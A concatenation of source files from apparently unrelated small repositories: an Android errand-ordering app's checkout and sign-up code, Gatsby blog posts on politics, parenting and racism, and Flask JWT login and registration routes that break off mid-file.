String rn_date_str = created_at.replaceAll("[^0-9]","");
String reciept_num = "";
if (account.equals("user")){
reciept_num = "#REU"+rn_date_str;
}else {
reciept_num = "#REG"+rn_date_str;
}
String delivery_address = delivery_address_tv.getText().toString();
String remarks = remarks_tv.getText().toString();
String order_placed = formattedDate;
String expect_delivery = currentDatePlusOne;
String payment = paymentbtn;
if (payment.equals("exact_payment")){
payment_change = "No change";
}else {
payment_change = change_tv.getText().toString();
}
String price_change = payment_change;
String delivery_fee = String.valueOf(deliverfee);
String status = "order";
sendMail(Item_display,email,name,user_mac,account,reciept_num,delivery_address,remarks,order_placed,expect_delivery,payment,price_change,subtotal,items,delivery_fee,total_price,status,created_at);
} else{
toast_image.setImageResource(R.drawable.ic_signal_wifi__off_24dp);
toast_text.setText("No Internet Connection.");
toast.show();
}
}
});
}
public void onRadioButtonClicked(View view) {
// Is the button now checked?
boolean checked = ((RadioButton) view).isChecked();
// Check which radio button was clicked
switch(view.getId()) {
case R.id.exact_payment:
if (checked)
paymentbtn = "exact_payment";
change_tv.setVisibility(View.INVISIBLE);
break;
case R.id.change_payment:
if (checked)
paymentbtn = "change_payment";
change_tv.setVisibility(View.VISIBLE);
break;
}
}
public void sendMail(final String Item_display,final String email,final String name, final String user_mac, final String account, final String reciept_num, final String delivery_address, final String remarks, final String order_placed, final String expect_delivery,
final String payment, final String price_change, final String sub_total, final String items,final String delivery_fee, final String total,final String status, final String created_at) {
AlertDialog.Builder alertDialogBuilder = new AlertDialog.Builder(Checkout.this);
alertDialogBuilder.setTitle("Place order now?");
alertDialogBuilder.setMessage("Please wait for a call from our personnel to confirm your order.");
alertDialogBuilder.setCancelable(false);
alertDialogBuilder.setPositiveButton("Yes", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
try {
progressDialog.show();
String emailstr = email;
LongOperation l = new LongOperation();
l.execute(emailstr,Item_display,reciept_num,name,total); //sends the email in background
place_order(user_mac,account,reciept_num,delivery_address,remarks,order_placed,expect_delivery,payment,price_change,sub_total,items,delivery_fee,total,status,created_at);
} catch (Exception e) {
Log.e("SendMail", e.getMessage(), e);
}
}
});
alertDialogBuilder.setNegativeButton("No", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
}
});
AlertDialog alertDialog = alertDialogBuilder.create();
alertDialog.show();
}
public void place_order(final String user_mac, final String account, final String reciept_num, final String delivery_address, final String remarks, final String order_placed, final String expect_delivery,
final String payment, final String price_change, final String sub_total, final String items, final String delivery_fee,final String total,final String status, final String created_at){
StringRequest stringRequest = new StringRequest(Request.Method.POST, URL_ORDER,
new Response.Listener<String>() {
@Override
public void onResponse(String response) {
try{
JSONObject jsonObject = new JSONObject(response);
String success = jsonObject.getString("success");
if (success.equals("1")){
update_cart_state(user_mac,account);
}else {
toast_image.setImageResource(R.drawable.ic_check_24dp);
toast_text.setText("Failed to Send");
toast.show();
}
} catch (JSONException e) {
e.printStackTrace();
toast_image.setImageResource(R.drawable.ic_error_24dp);
toast_text.setText("Failed to Send!");
toast.show();
}
}
},
new Response.ErrorListener() {
@Override
public void onErrorResponse(VolleyError error) {
toast_image.setImageResource(R.drawable.ic_error_24dp);
toast_text.setText("Failed to Send!");
toast.show();
}
})
{
@Override
protected Map<String, String> getParams() throws AuthFailureError {
Map<String, String> params = new HashMap<>();
params.put("user_mac", user_mac);
params.put("account", account);
params.put("reciept_num", reciept_num);
params.put("delivery_address", delivery_address);
params.put("remarks", remarks);
params.put("order_placed",order_placed);
params.put("expect_delivery",expect_delivery);
params.put("payment",payment);
params.put("price_change",price_change);
params.put("sub_total",sub_total);
params.put("items",items);
params.put("delivery_fee",delivery_fee);
params.put("total",total);
params.put("status",status);
params.put("created_at",created_at);
return params;
}
};
stringRequest.setRetryPolicy(new DefaultRetryPolicy(
50000,
DefaultRetryPolicy.DEFAULT_MAX_RETRIES,
DefaultRetryPolicy.DEFAULT_BACKOFF_MULT));
RequestQueue requestQueue = Volley.newRequestQueue(this);
requestQueue.add(stringRequest);
}
public void update_cart_state(final String user_mac, final String account){
StringRequest stringRequest = new StringRequest(Request.Method.POST, URL_UPDATE,
new Response.Listener<String>() {
@Override
public void onResponse(String response) {
try{
JSONObject jsonObject = new JSONObject(response);
String success = jsonObject.getString("success");
if (success.equals("1")){
progressDialog.dismiss();
toast_image.setImageResource(R.drawable.ic_check_24dp);
toast_text.setText("Ordered Send");
toast.show();
Intent i = new Intent(Checkout.this, MainActivity.class);
i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
startActivity(i);
finish();
}else {
toast_image.setImageResource(R.drawable.ic_check_24dp);
toast_text.setText("Failed to Send");
toast.show();
}
} catch (JSONException e) {
e.printStackTrace();
toast_image.setImageResource(R.drawable.ic_error_24dp);
toast_text.setText("Failed to Send!");
toast.show();
}
}
},
new Response.ErrorListener() {
@Override
public void onErrorResponse(VolleyError error) {
toast_image.setImageResource(R.drawable.ic_error_24dp);
toast_text.setText("Failed to Send!");
toast.show();
}
})
{
@Override
protected Map<String, String> getParams() throws AuthFailureError {
Map<String, String> params = new HashMap<>();
params.put("user_mac", user_mac);
params.put("account", account);
return params;
}
};
stringRequest.setRetryPolicy(new DefaultRetryPolicy(
50000,
DefaultRetryPolicy.DEFAULT_MAX_RETRIES,
DefaultRetryPolicy.DEFAULT_BACKOFF_MULT));
RequestQueue requestQueue = Volley.newRequestQueue(this);
requestQueue.add(stringRequest);
}
public boolean checkNetworkConnection() {
ConnectivityManager connectivityManager = (ConnectivityManager) this.getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();
return (networkInfo != null && networkInfo.isConnected());
}
public static String formatDecimal(String value) {
DecimalFormat df = new DecimalFormat("#,###,##0.00");
return df.format(Double.valueOf(value));
}
}
<file_sep>/app/src/main/java/com/example/ramoreserrands/activities/CreateAccount.java
package com.example.ramoreserrands.activities;
import android.content.Intent;
import android.graphics.Color;
import android.graphics.PorterDuff;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.support.v7.widget.Toolbar;
import android.util.Patterns;
import android.view.Gravity;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageView;
import android.widget.TextView;
import android.widget.Toast;
import com.android.volley.AuthFailureError;
import com.android.volley.DefaultRetryPolicy;
import com.android.volley.Request;
import com.android.volley.RequestQueue;
import com.android.volley.Response;
import com.android.volley.VolleyError;
import com.android.volley.toolbox.StringRequest;
import com.android.volley.toolbox.Volley;
import com.example.ramoreserrands.R;
import org.json.JSONException;
import org.json.JSONObject;
import java.text.SimpleDateFormat;
import java.util.Calendar;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import java.util.regex.Pattern;
public class CreateAccount extends AppCompatActivity {
// private static final Pattern PASSWORD_PATTERN =
// Pattern.compile("^" +
// "(?=.*[0-9])" + //at least 1 digit
// //"(?=.*[a-z])" + //at least 1 lower case letter
// //"(?=.*[A-Z])" + //at least 1 upper case letter
// "(?=.*[a-zA-Z])" + //any letter
// //"(?=.*[@#$%^&+=])" + //at least 1 special character
// "(?=\\S+$)" + //no white spaces
// ".{4,}" + //at least 4 characters
// "$");
private EditText first_name, last_name, mobile_number, email_add, password, c_password;
private String fname, lname, mobileNumber, emailAdd, passWord,confirmPassword,created_at;
private Button btn_create;
private static String URL_REGIST = "http://www.ramores.com/rema/php/send_register.php";
Toast toast;
TextView toast_text;
ImageView toast_image;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_create_account);
Toolbar mToolbar = findViewById(R.id.toolbar);
mToolbar.setTitle("Create Account");
mToolbar.setNavigationIcon(R.drawable.ic_arrow_back_24dp);
mToolbar.setNavigationOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
finish();
}
});
first_name = findViewById(R.id.fname_create_id);
last_name = findViewById(R.id.lname_create_id);
mobile_number = findViewById(R.id.mobile_create_id);
email_add = findViewById(R.id.email_create_id);
password = findViewById(R.id.pass_create_id);
c_password = findViewById(R.id.confirmpass_create);
btn_create = findViewById(R.id.signup_btn_id);
LayoutInflater inflater = getLayoutInflater();
View layout = inflater.inflate(R.layout.custom_toast, (ViewGroup) findViewById(R.id.custom_toast_layout_id));
toast_text = (TextView) layout.findViewById(R.id.toast_text);
toast_image = (ImageView) layout.findViewById(R.id.toast_iv);
toast_image.setColorFilter(Color.WHITE, PorterDuff.Mode.SRC_ATOP);
toast = new Toast(getApplicationContext());
toast.setDuration(Toast.LENGTH_SHORT);
toast.setGravity(Gravity.BOTTOM, 0,100);
toast.setView(layout);//setting the view of custom toast layout
btn_create.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Register();
}
});
TextView signinnow_tv = (TextView)findViewById(R.id.sign_in_now_id);
signinnow_tv.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent i = new Intent(CreateAccount.this, Login.class);
startActivity(i);
finish();
}
});
}
private void Register(){
// btn_create.setVisibility(View.GONE);
initialize();
if(!validate() | !validateUsername() | !validatePassword()){
// Toast.makeText(this, "Create Account FAILED!", Toast.LENGTH_SHORT).show();
}
else{
onCreateAccount();
}
}
public void onCreateAccount(){
StringRequest stringRequest = new StringRequest(Request.Method.POST, URL_REGIST,
new Response.Listener<String>() {
@Override
public void onResponse(String response) {
try{
JSONObject jsonObject = new JSONObject(response);
String success = jsonObject.getString("success");
if (success.equals("1")){
toast_image.setImageResource(R.drawable.ic_check_24dp);
toast_text.setText("Register Success!");
toast.show();
Intent i = new Intent(CreateAccount.this, Login.class);
startActivity(i);
finish();
}else if(success.equals("2")){
email_add.setError("Email Already Exist!");
toast_image.setImageResource(R.drawable.ic_close_24dp);
toast_text.setText("Email Already Exist!");
toast.show();
}
} catch (JSONException e) {
e.printStackTrace();
toast_image.setImageResource(R.drawable.ic_error_24dp);
toast_text.setText("Failed to Register!");
toast.show();
btn_create.setVisibility(View.VISIBLE);
}
}
},
new Response.ErrorListener() {
@Override
public void onErrorResponse(VolleyError error) {
toast_image.setImageResource(R.drawable.ic_error_24dp);
toast_text.setText("No Internet Connection!");
toast.show();
btn_create.setVisibility(View.VISIBLE);
}
})
{
@Override
protected Map<String, String> getParams() throws AuthFailureError {
Map<String, String> params = new HashMap<>();
params.put("first_name", fname);
params.put("last_name", lname);
params.put("mobile_number", mobileNumber);
params.put("email_add", emailAdd);
params.put("password",<PASSWORD>);
params.put("created_at",created_at);
return params;
}
};
stringRequest.setRetryPolicy(new DefaultRetryPolicy(
50000,
DefaultRetryPolicy.DEFAULT_MAX_RETRIES,
DefaultRetryPolicy.DEFAULT_BACKOFF_MULT));
RequestQueue requestQueue = Volley.newRequestQueue(this);
requestQueue.add(stringRequest);
}
public boolean validate(){
boolean valid = true;
if(emailAdd.isEmpty() || !Patterns.EMAIL_ADDRESS.matcher(emailAdd).matches()){
email_add.setError("Please Enter valid Email Address");
valid = false;
}
if(mobileNumber.isEmpty()){
mobile_number.setError("Please Enter Phone Number");
valid = false;
}
return valid;
}
private boolean validateUsername() {
boolean valid = true;
if (fname.isEmpty()) {
first_name.setError("Field can't be empty");
valid = false;
}if (lname.isEmpty()) {
last_name.setError("Field can't be empty");
valid = false;
}
// }else{
// first_name.setError(null);
// last_name.setError(null);
// valid = true;
// }
return valid;
}
private boolean validatePassword() {
boolean valid = true;
if (passWord.isEmpty()) {
password.setError("Field can't be empty");
valid = false;
}if(confirmPassword.isEmpty()){
c_password.setError("Field can't be empty");
valid = false;
}if(!(passWord.equals(confirmPassword))){
c_password.setError("Password does not match");
valid = false;
}
// if (!PASSWORD_PATTERN.matcher(passWord).matches()) {
// password.setError("Password too weak");
// valid = false;
// }else{
// password.setError(null);
// c_password.setError(null);
// valid = true;
// }
return valid;
}
public void initialize(){
fname = first_name.getText().toString().trim();
lname = last_name.getText().toString().trim();
mobileNumber = mobile_number.getText().toString().trim();
emailAdd = email_add.getText().toString().trim();
passWord = password.getText().toString().trim();
confirmPassword = c_password.getText().toString().trim();
Date c_created_at = Calendar.getInstance().getTime();
SimpleDateFormat df_created_at = new SimpleDateFormat("yyyy/MM/dd hh:mm:ss");
created_at = df_created_at.format(c_created_at);
}
}
| 34d8c8e27fafbccbe4544195f7c1d4db40b8749d | [
"Java"
] | 7 | Java | r0b3rt23/RamoresErrands | cd3835fd17a2d4faff7d515f3b619ec9bccac129 | 73178288a1f51aea3e7b57d0e618beb4616c3a99 |
refs/heads/master | <file_sep>---
layout: blog
title: <NAME> Delivers Expert Burn To Trump As He Leaves White House For
Last Time
date: 2021-07-06T09:14:42.255Z
image: https://thehill.com/sites/default/files/styles/thumb_small_article/public/trumpdonald_070117getty.jpg?itok=VROfEOx9
---
<section class="entry__content-list js-entry-content"><div class="primary-cli cli cli-text "><p>Climate activist <a href="https://www.huffpost.com/topic/greta-thunberg" role="link" data-ylk="subsec:paragraph;itc:0;cpos:1;pos:1;elm:context_link" data-rapid_p="1" data-v9y="1"><NAME></a> had a few familiar words for President <a href="https://www.huffpost.com/topic/donald-trump" role="link" data-ylk="subsec:paragraph;itc:0;cpos:1;pos:2;elm:context_link" data-rapid_p="2" data-v9y="1"><NAME></a> upon his departure from the <a href="https://www.huffpost.com/news/topic/white-house" target="_blank" role="link" data-ylk="subsec:paragraph;itc:0;cpos:1;pos:3;elm:context_link" data-rapid_p="3" data-v9y="1">White House</a> ahead of President-elect <a href="https://www.huffpost.com/topic/joe-biden" role="link" data-ylk="subsec:paragraph;itc:0;cpos:1;pos:4;elm:context_link" data-rapid_p="4" data-v9y="1"><NAME></a>’s inauguration. </p></div><div class="primary-cli cli cli-text "><p>On Wednesday, the teenager tweeted out a snapshot of Trump waving goodbye to supporters with the caption: “He seems like a very happy old man looking forward to a bright and wonderful future. So nice to see!”</p></div><div class="cli cli-advertisement advertisement-holder"><div class="advertisement__label">Advertisement</div><div class="advertisement"><div id="teads-entry_paragraph_1" class="hp-teads-adspot ad-entry_paragraph_1"></div>
<script type="text/javascript" class="teads" async="true" src="//a.teads.tv/page/108433/tag"></script>
</div></div><div class="cli cli-embed js-no-inject"><div class="cli-embed__embed-wrapper"><div class="twitter-tweet twitter-tweet-rendered" style="width: 100%; margin: 10px auto; display: flex; max-width: 550px;"><iframe id="twitter-widget-0" scrolling="no" frameborder="0" allowtransparency="true" allowfullscreen="true" class="" style="position: static; visibility: visible; width: 550px; height: 504px; display: block; flex-grow: 1;" title="Twitter Tweet" src="https://platform.twitter.com/embed/Tweet.html?creatorScreenName=ohheyjenna&dnt=true&embedId=twitter-widget-0&features=<KEY>sIiwidmVyc2lvbiI6bnVsbH19&frame=false&hideCard=false&hideThread=false&id=1351890941087522820&lang=en&origin=https%3A%2F%2Fwww.huffpost.com%2Fentry%2Fgreta-thunberg-trump-leaving-white-house_n_60084565c5b62c0057c2181f&sessionId=<KEY>&siteScreenName=null&theme=light&widgetsVersion=82e1070%3A1619632193066&width=550px" data-tweet-id="1351890941087522820"></iframe></div>
<script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
</div></div><div class="primary-cli cli cli-text "><p>If you’ve kept up with Thunberg and Trump’s contentious relationship on social media over the years, you’ll find the language here familiar. Thunberg is, of course, echoing a September 2019 Twitter dig from Trump.</p></div><div class="primary-cli cli cli-text "><p>On the heels of Thunberg delivering a speech at the United Nations imploring world leaders to do more about climate change, Trump<a href="https://thehill.com/homenews/administration/462730-trump-on-thunberg-seems-like-a-very-happy-young-girl" target="_blank" role="link" data-ylk="subsec:paragraph;itc:0;cpos:5;pos:1;elm:context_link" data-rapid_p="7" data-v9y="0"> sarcastically wrote that Thunberg</a> seemed “like a very happy young girl looking forward to a bright and wonderful future.”</p></div><div class="primary-cli cli cli-text "><p>Thunberg, embracing the dig,<a href="https://www.bbc.com/news/world-europe-50762373" target="_blank" role="link" data-ylk="subsec:paragraph;itc:0;cpos:7;pos:1;elm:context_link" data-rapid_p="8" data-v9y="0"> changed her Twitter bio</a> shortly thereafter to read: “A very happy young girl looking forward to a bright and wonderful future.”</p></div><aside class="cli cli-related-articles cli-related-articles--no-images"><div class="cli-related-articles__content-wrapper"><h2 class="cli-related-articles__title">Related...</h2><a class="cli-related-articles__link" href="https://www.huffingtonpost.com.au/entry/joe-biden-sworn-in-as-46th-president-of-the-united-states_au_60085fb9c5b697df1a0afd11" data-ylk="subsec:related-stories;itc:1" data-rapid_p="9" data-v9y="0"><h3 class="cli-related-articles__headline">Joe Biden Sworn In As 46th President Of The United States</h3></a><a class="cli-related-articles__link" href="https://www.huffingtonpost.com.au/entry/donald-trump-leaves-the-white-house-as-his-presidency-ends_au_60083257c5b697df1a0aa232" data-ylk="subsec:related-stories;itc:1" data-rapid_p="10" data-v9y="0"><h3 class="cli-related-articles__headline">Donald Trump Leaves The White House As His Presidency Ends</h3></a><a class="cli-related-articles__link" href="https://www.huffingtonpost.com.au/entry/donald-trump-pardons_au_6007cc41c5b697df1a0a153c" data-ylk="subsec:related-stories;itc:1" data-rapid_p="11" data-v9y="0"><h3 class="cli-related-articles__headline">Trump’s Parting Clemency List: <NAME>, <NAME> And More</h3></a></div></aside><div class="primary-cli cli cli-text "><p><strong><em>Never miss a thing. </em></strong><a href="https://subscribe.huffpost.com/NewsLetter/preference/Subscribe/?list=au-daily-brief&src=editorial" role="link" data-ylk="subsec:paragraph;itc:0;cpos:7;pos:1;elm:context_link" data-rapid_p="12" data-v9y="0"><strong><em>Sign up to HuffPost Australia’s weekly newsletter</em></strong></a><strong><em> for the latest news, exclusives and guides to achieving the good life.</em></strong></p></div></section><file_sep>// custom typefaces
import "typeface-montserrat"
import "typeface-merriweather"
import "bootstrap/dist/css/bootstrap.min.css"
// normalize CSS across browsers
import "./src/normalize.css"
// custom CSS styles
// import "./src/style.css"
import "./src/base/index.scss"
// Highlighting for code blocks
import "prismjs/themes/prism.css"
<file_sep>import * as React from "react"
import { graphql } from "gatsby"
import Layout from "../components/layout"
import Seo from "../components/seo"
import { Link } from "gatsby"
import Nav from "../components/nav"
import Featured from "../components/featured"
import PostSection from "../components/postSection"
const BlogIndex = ({ data, location }) => {
const siteTitle = data.site.siteMetadata?.title || `Title`
const posts = data.allMarkdownRemark.nodes
if (posts.length === 0) {
return (
<Layout location={location} title={siteTitle}>
<Seo title="All posts" />
<p>
No blog posts found. You can login and add the blog through the
headless CMS{" "}
<Link to="https://inspiring-easley-acf800.netlify.app/admin/#/">
here
</Link>
</p>
</Layout>
)
}
const [latestBlog] = data.allMarkdownRemark.nodes
console.log(latestBlog)
return (
<Layout location={location} title={siteTitle}>
<Nav />
<Seo title="All posts" />
<Featured featured={latestBlog} />
<PostSection
heading="Latest"
subheading="Latest blogs in your fingertips"
/>
</Layout>
)
}
export default BlogIndex
export const pageQuery = graphql`
query {
site {
siteMetadata {
title
}
}
allMarkdownRemark(sort: { fields: [frontmatter___date], order: DESC }) {
nodes {
excerpt
fields {
slug
}
frontmatter {
date(formatString: "MMMM DD, YYYY")
title
layout
image
}
}
}
}
`
<file_sep>---
layout: blog
title: Gifts Your Child Will Never Outgrow
date: 2021-07-06T09:25:18.358Z
image: https://assets.usafootball.com/cms/2021-06/playersilhouettesun.jpg
---
I love giving gifts to my kids, and have to hold myself back at times from going overboard. I love to see the smile, the joy on their faces, even as adults when they open something that I know they want, or something that totally surprises them.
The best gifts, however, are the ones that cannot be wrapped in a box with fancy paper and ribbons. In fact, there is not really a dollar value you can place on them.
Those are the gifts that your children will never ever outgrow. The ones that they may not know to ask for and the ones that are harder to give because you can’t just go buy them on Amazon, have them wrapped and surprise them at Christmas or on their birthday.
The kind of gifts that your kids will never outgrow are the ones that you cannot hand to them, they are gifts that must be LIVED. As sports parents, you need to look beyond buying them the best equipment and sending them to the best camps. These are the gifts that truly have no price tag attached.
#### Your Time & Undivided Attention
Don’t let busy-ness be your excuse. Don’t let work keep you from being the dad or mom that your child needs. Don’t let your kids’ activities suck all the family time right out of your home.
Be intentional about giving your children the gift of your time and undivided attention. They need that; in fact, they are starving for it, even if they don’t know they are.
Don’t wait for them to ask for it; schedule it on your calendar daily, weekly, monthly and let them know that you are making that time with them a priority.
Mom and Dad, this matters more than I can stress. This kind of focus will give your children the sense of security that will allow them to go out into the world and make it on their own without you. Going to their games is good, but don’t let that be a substitute for quality family time.
Sometimes I watch with wonder as one of my three grown kids steps out and does some-thing incredibly brave or daring or achieves something that they were striving for. Because they grew up in a home that gave them plenty of focused and undivided attention, they were secure enough to take the risks and accept the challenges.
#### Your Listening Ear
Parents like to talk a lot. They find it very easy to lecture, nag, and vent frustrations with their kids TO their kids. Much of the time, they are so busy talking that they don’t take the time to listen to their kids.
It’s amazing what you can learn when you stop and listen. Really listen. Bite your tongue when you feel the need to immediately critique, correct or judge. Why do we as parents al-ways feel the need to talk, talk, talk? Our abundance of words does not usually fix the situation.
How much better to listen first, maybe ask a couple of questions, then listen some more–BEFORE we share our thoughts or opinions!
This gift of a non-judgemental listening ear is something your kids will always need, no matter how old they are. My kids are 28, 31 and 33, and I’m still practicing the habit of listening without judgement.
The more you seek to listen to your kids without jumping in to correct and judge, the more you seek to understand the why behind their what, and the more you let listening outweigh talking, the more your kids will WANT you to talk and share your thoughts.
#### Values
This is one gift that your kids may never ask for, but it is a gift they will thank you for some-day. Giving your child the gift of core values will be the foundation to who they are and what they become.
If your family has never established core values, here’s a quick how-to:
* As a couple or as a family, make a list of 5 core value words–things that are important to your family. For instance, our family’s core value words are family, faith, honesty, communication and compassion.
* Next, write out a sentence for each of those core value words. For example, ours for family is: We will seek opportunities to strengthen our extended and immediate family bonds. Do that for each of the five words.
* Have a family meeting to share these core values. Post them somewhere in your home where everyone can see them. Refer to them often in conversations with your kids. Make them a part of your family culture.
* Believe me, if you do not give your child core values to live by, they will find something else to fill that vacuum. Don’t take that gamble.<file_sep>---
layout: blog
title: Luck is not a strategy
date: 2021-06-29T08:29:07.132Z
image: https://www.wpbeginner.com/wp-content/uploads/2018/07/whatisblog.png
---
Advice from people who have gotten lucky is a tricky thing.
Perhaps they did x, y and z, and then got lucky. As story telling creatures, it’s natural to assume that x, y or z had something to do with it. Which can lead to bad advice.
Consider the guy who smoked like a chimney, drank like a fish and lived to be 100. It’s not clear that his habits helped him get lucky.
Luck might not be a strategy, but setting yourself up to be lucky might be.
Luck is a tactic. An unpredictable one, sure, but if it works, it works. A useful strategy might be: I’m going to establish a pattern of resilience and apply information and testing to discover what works. And one of the tactics to support that strategy could be showing up in places where luck can help me out. If I can persist long enough, I’ll get lucky.
But that’s very different than the false correlation of past behavior with lucky outcomes.<file_sep>---
layout: Blog Blog Blog Blog Blog Blog Blog Blog
title: I'm A 'Real' Australian And I'm Sick Of Being Served Racism With My Dinner
date: 2021-06-28T10:13:26.267Z
image: https://upload.wikimedia.org/wikipedia/commons/thumb/a/a0/Chinese_characters_logo.svg/1200px-Chinese_characters_logo.svg.png
---
My parents, like many other first-generation immigrants, migrated to Australia from China in pursuit of a better life. They faced hardships that I will never have to experience thanks to the generational assimilation of Chinese immigrants that now solidifies me as a 'real' Australian.
As a privileged, second-generation, Chinese-Australian, something I've grown acutely aware of in recent years is the disconnect between the typical immigrant mentality and the deeply rooted racism in Australia. There is resentment held by settled immigrant communities toward refugees and other new migrants.
Like many other members of my community, my parents are not consciously biased. They are well-informed citizens who care about, and are deeply disturbed by, the injustice plaguing our world. But racism still pervades.
They know first-hand that being an immigrant in this country can be difficult, but they also have an internalised racism that makes them see new migrants the way many Australians do -- as a threat.
> 
Racism infiltrates the mindset of my community and makes its way into conversations around the dinner table; manifesting itself in small ways. These innocent microaggressions have become entrenched through political fearmongering and a country-wide contempt for the 'other'.
These offences often go unnoticed by my parents, who proclaim that no, they are not racist, but normalise and accept common misconceptions nonetheless.
The most common prejudice is that refugees are economic threats to hard-earned jobs or that they are national security threats. My parents and their peers listen to the false narratives bolstered by statistics flitting across TV screens and the harmful 'war on terror' rhetoric used by our leaders to incite paranoia.
The problem is that there is a distinct lack of positive cultural dialogue or easily accessible conversations to redirect this thinking.
Concern about new migrants is all too commonplace in my community as well as other established migrant communities. These divisions drag us all down when we should be working together to welcome and lift up other migrants.
I know all too well the difficulty of having conversations about anti-Muslim sentiment in a community that fails to acknowledge its own racism and remember its own experiences of discrimination. In today's climate of ethnic violence and religious conflict, established migrants should be doing everything they possibly can to promote unity.
We need to bridge the divide between new and old migrant communities through open dialogue, educational campaigns and programs that promote cultural and religious inclusivity. The disadvantage experienced by established migrants doesn't excuse us from action. We're in this too and we can create a new generation of acceptance.
When we fight racism, we do so for our migrant community but also for others who are suffering under the same weight of oppression.
Silence is not, and will never be, an option.
It is time to deconstruct the falsehoods that too often surround immigration. | 68a1f14bf4772ee8e0408344122bc2164871d152 | [
"Markdown",
"JavaScript"
] | 6 | Markdown | DishantSthapit/gatsby-static-site-genarator | 91586d3b90250af4fad2b6e5da37b7ddd0efb223 | 544098373ae11f9d176f64cc299b8ff5fc20c7dc |
refs/heads/master | <file_sep>from flask_sqlalchemy import SQLAlchemy
from routes import db
# Database imports
from database import company, survey, survey_response, user<file_sep>from flask import Flask, jsonify, url_for, request
from datetime import datetime, timedelta
from flask_jwt_extended import (create_access_token,
create_refresh_token,
jwt_required,
jwt_refresh_token_required,
get_jwt_identity, get_raw_jwt)
import uuid
# File imports
from database.user import User
from database.revoked_token import RevokedToken
from database.company import Company
from routes import app, db
@app.route('/register', methods=['POST'])
def register():
if request.method == 'POST':
request_json = request.get_json()
name = request_json.get('name')
email = request_json.get('email')
if User.query.filter_by(email=email).first():
return jsonify({'message': 'The email has already been registered'}), 401
password = <PASSWORD>('<PASSWORD>')
role = request_json.get('role')
company_code = request_json.get('company_code')
user_public_id = str(uuid.uuid4())
user = User(user_public_id, name, email, role, company_code)
user.hash_password(<PASSWORD>)
try:
db.session.add(user)
db.session.commit()
access_token = create_access_token(identity=user.email)
refresh_token = create_refresh_token(identity=user.email)
response_object = {}
response_object['message'] = 'Register of {} was Successful'.format(user.email)
response_object['access_token'] = access_token
response_object['refresh_token'] = refresh_token
return jsonify(response_object), 200
except:
return jsonify({'message': 'Something went wrong'}), 500
@app.route('/join_company', methods=['POST'])
@jwt_required
def join_company():
email = get_jwt_identity()
user = User.query.filter_by(email=email).first()
if not user:
return jsonify({'message': 'Please register to proceed'}), 401
request_json = request.get_json()
company_code = request_json.get('company_code')
company = Company.query.filter_by(company_code=company_code).first()
if not company:
return jsonify({'message': 'The company code is invalid'}), 400
user.company_code = company_code
db.session.commit()
return jsonify({
'message': 'You have joined ' + company.company_name + '.'
}), 200
@app.route('/login', methods=['POST'])
def login():
request_json = request.get_json()
email = request_json.get('email')
password = request_json.get('password')
try:
if email is None or password is None:
return jsonify({'error': 'No data provided'}), 400
user = User.query.filter_by(email=email).first()
if user and user.verify_password(password):
app.logger.info('{0}successful log in at {1}'.format(user.user_id, datetime.now()))
access_token = create_access_token(identity=user.email)
refresh_token = create_refresh_token(identity=user.email)
response_object = {
"message": "Login Successful",
'access_token': access_token,
'refresh_token': refresh_token
}
return jsonify(response_object), 200
else:
return jsonify({'error': 'Email or password not found'}), 400
except(Exception, NameError, TypeError, RuntimeError, ValueError) as identifier:
response_object = {
'status': str(identifier),
'message': 'Try again @login',
'user': email
}
return jsonify(response_object), 500
except NameError as name_identifier:
response_object = {
'status': str(name_identifier),
'message': 'Try again @login',
'error': 'Name',
'username': email
}
return jsonify(response_object), 500
except TypeError as type_identifier:
response_object = {
'status': str(type_identifier),
'message': 'Try again @login',
'error': 'Type',
'username': email
}
return jsonify(response_object), 500
except RuntimeError as run_identifier:
response_object = {
'status': str(run_identifier),
'message': 'Try again @login',
'error': 'Runtime',
'username': email
}
return jsonify(response_object), 500
except ValueError as val_identifier:
response_object = {
'status': str(val_identifier),
'message': 'Try again @login',
'error': 'Value',
'username': email
}
return jsonify(response_object), 500
except Exception as exc_identifier:
response_object = {
'status': str(exc_identifier),
'message': 'Try again @login',
'error': 'Exception',
'username': email
}
return jsonify(response_object), 500
@app.route('/single_user', methods=['GET'])
@jwt_required
def single_user():
email = get_jwt_identity()
user = User.query.filter_by(email=email).first()
if not user:
return jsonify({'name': 'User'}), 200
try:
company = Company.query.filter_by(company_code=user.company_code).first()
company_name = company.company_name
if not company:
company_name = 'Not yet registered'
return jsonify({
'name': user.name,
'public_id': user.public_id,
'email': user.email,
'company': company_name
}), 200
except:
return jsonify({
'name': user.name,
'public_id': user.public_id,
'email': user.email,
'company': 'Not yet registered'
}), 200
@app.route('/token_refresh', methods=['POST'])
@jwt_refresh_token_required
def token_refresh():
current_user = get_jwt_identity()
access_token = create_access_token(identity=current_user)
return {
'access_token': access_token
}, 200
@app.route('/logout', methods=['POST'])
@jwt_required
def logout():
jti = get_raw_jwt()['jti']
try:
revoked_token = RevokedToken(jti=jti)
revoked_token.add()
return {'message': 'Access Token has been revoked'}, 200
except:
return {'message': 'Something went wrong'}, 500
@app.route('/logout_refresh', methods=['POST'])
@jwt_refresh_token_required
def logout_refresh():
jti = get_raw_jwt()['jti']
try:
revoked_token = RevokedToken(jti=jti)
revoked_token.add()
return {'message': 'Refresh token has been revoked'}
except:
return {'message': 'Something went wrong'}, 500
<file_sep>from routes import db, app
from passlib.apps import custom_app_context as pwd_context
import datetime
import jwt
def encode_auth_token(user_id):
"""
Generate Auth Token
:param public_id:
:return: string
"""
try:
payload = {
'exp': datetime.datetime.utcnow() + datetime.timedelta(days=3, seconds=33),
'iat': datetime.datetime.utcnow(),
'sub': user_id
}
return jwt.encode(
payload,
app.config.get('SECRET_KEY'),
algorithm='HS256'
)
except Exception as e:
return e
class User(db.Model):
